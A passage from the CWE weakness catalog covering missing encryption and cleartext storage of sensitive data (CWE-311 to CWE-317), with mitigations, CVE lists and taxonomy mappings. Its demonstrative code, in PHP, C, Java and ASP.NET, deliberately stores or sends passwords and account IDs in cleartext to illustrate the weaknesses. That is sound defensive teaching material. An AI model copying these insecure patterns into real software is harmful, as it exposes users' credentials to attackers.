When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Phase: Implementation

Strategy = Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness = Defense in Depth

This makes it easier to spot places in the code where data is being used that is unencrypted.

Demonstrative Examples

Example 1:

This code writes a user's login information to a cookie so the user does not have to login again later.

Example Language: PHP *(bad)*

```
function persistLogin($username, $password){
```

```
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 2:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

Example Language: C *(bad)*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3:

The following code attempts to establish a connection to a site to communicate sensitive information.

Example Language: Java *(bad)*

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

Reference	Description
CVE-2009-2272	password and username stored in cleartext in a cookie *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2272*
CVE-2009-1466	password stored in cleartext in a file with insecure permissions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1466*
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0152*

Reference	Description
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1603*
CVE-2009-0964	storage of unencrypted passwords in a database *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0964*
CVE-2008-6157	storage of unencrypted passwords in a database *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6157*
CVE-2008-6828	product stores a password in cleartext in memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6828*
CVE-2008-1567	storage of a secret key in cleartext in a temporary file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1567*
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0174*
CVE-2007-5778	login credentials stored unencrypted in a registry key *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5778*
CVE-2002-1949	Passwords transmitted in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1949*
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4122*
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3289*
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4390*
CVE-2007-5626	Backup routine sends password in cleartext in email. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5626*
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1852*
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0374*
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4961*
CVE-2007-4786	Product sends passwords in cleartext to a log server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4786*
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3140*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1873
MemberOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1873
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895

Nature	Type	ID	Name	V	Page
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1899
MemberOf	C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	809	1900
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
WASC	4		Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011)	MSC00-J		Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
37	Retrieve Embedded Sensitive Data
65	Sniff Application Code
157	Sniffing Attacks
158	Sniffing Network Traffic
204	Lifting Sensitive Data Embedded in Cache
383	Harvesting Information via API Event Monitoring
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking
477	Signature Spoofing by Mixing Signed and Unsigned Content

CAPEC-ID	Attack Pattern Name
609	Cellular Traffic Intercept

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-265]Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". 2010 February 6. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/02/26/top-25-series-rank-10-missing-encryption-of-sensitive-data/ >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID : 312 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

Extended Description

Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	922	Insecure Storage of Sensitive Information	1603
ChildOf	C	311	Missing Encryption of Sensitive Data	686
ParentOf	V	313	Cleartext Storage in a File or on Disk	697
ParentOf	V	314	Cleartext Storage in the Registry	699
ParentOf	V	315	Cleartext Storage of Sensitive Information in a Cookie	700
ParentOf	V	316	Cleartext Storage of Sensitive Information in Memory	702
ParentOf	V	317	Cleartext Storage of Sensitive Information in GUI	703
ParentOf	V	318	Cleartext Storage of Sensitive Information in Executable	704

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		311	Missing Encryption of Sensitive Data	686

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker with access to the system could read sensitive information stored in cleartext.*	

Demonstrative Examples

Example 1:

The following code excerpt stores a plaintext user account ID in a browser cookie.

Example Language: Java *(bad)*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2:

This code writes a user's login information to a cookie so the user does not have to login again later.

Example Language: PHP *(bad)*

```
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

Example Language: C *(bad)*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2009-2272	password and username stored in cleartext in a cookie *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2272*
CVE-2009-1466	password stored in cleartext in a file with insecure permissions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1466*
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0152*
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1603*
CVE-2009-0964	storage of unencrypted passwords in a database

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0964
CVE-2008-6157	storage of unencrypted passwords in a database *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6157*
CVE-2008-6828	product stores a password in cleartext in memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6828*
CVE-2008-1567	storage of a secret key in cleartext in a temporary file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1567*
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0174*
CVE-2007-5778	login credentials stored unencrypted in a registry key *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5778*
CVE-2001-1481	Plaintext credentials in world-readable file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1481*
CVE-2005-1828	Password in cleartext in config file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1828*
CVE-2005-2209	Password in cleartext in config file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2209*
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1696*
CVE-2004-2397	Plaintext storage of private key and passphrase in log file when user imports the key. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2397*
CVE-2002-1800	Admin password in plaintext in a cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1800*
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1537*
CVE-2001-1536	Usernames/passwords in cleartext in cookies. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1536*
CVE-2005-2160	Authentication information stored in cleartext in a cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2160*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1899
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1931
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is

any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage of Sensitive Information
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/ >.

CWE-313: Cleartext Storage in a File or on Disk

Weakness ID : 313 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive information in cleartext in a file, or on disk.

Extended Description

The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Demonstrative Examples

Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13

Observed Examples

Reference	Description
CVE-2001-1481	Cleartext credentials in world-readable file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1481*
CVE-2005-1828	Password in cleartext in config file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1828*
CVE-2005-2209	Password in cleartext in config file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2209*
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1696*
CVE-2004-2397	Cleartext storage of private key and passphrase in log file when user imports the key. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2397*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in File or on Disk
Software Fault Patterns	SFP23		Exposed Data

CWE-314: Cleartext Storage in the Registry

Weakness ID : 314 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive information in cleartext in the registry.

Extended Description

Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2005-2227	Cleartext passwords in registry key. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2227*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Registry
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

CWE-315: Cleartext Storage of Sensitive Information in a Cookie

Weakness ID : 315 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive information in cleartext in a cookie.

Extended Description

Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Demonstrative Examples

Example 1:

The following code excerpt stores a plaintext user account ID in a browser cookie.

Example Language: Java *(bad)*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Observed Examples

Reference	Description
CVE-2002-1800	Admin password in cleartext in a cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1800*
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1537*
CVE-2001-1536	Usernames/passwords in cleartext in cookies. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1536*
CVE-2005-2160	Authentication information stored in cleartext in a cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2160*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Cookie
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
37	Retrieve Embedded Sensitive Data
39	Manipulating Opaque Client-based Data Tokens
74	Manipulating User State

CWE-316: Cleartext Storage of Sensitive Information in Memory

Weakness ID : 316 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive information in cleartext in memory.

Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it.

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Observed Examples

Reference	Description
CVE-2001-1517	Sensitive authentication information in cleartext in memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1517*
BID:10155	Sensitive authentication information in cleartext in memory. *http://www.securityfocus.com/bid/10155*
CVE-2001-0984	Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0984*
CVE-2003-0291	SSH client does not clear credentials from memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0291*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Relationship

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Memory
Software Fault Patterns	SFP23		Exposed Data

CWE-317: Cleartext Storage of Sensitive Information in GUI

Weakness ID : 317 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive information in cleartext within the GUI.

Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	693

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

Observed Examples

Reference	Description
CVE-2002-1848	Unencrypted passwords stored in GUI dialog may allow local users to access the passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1848*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

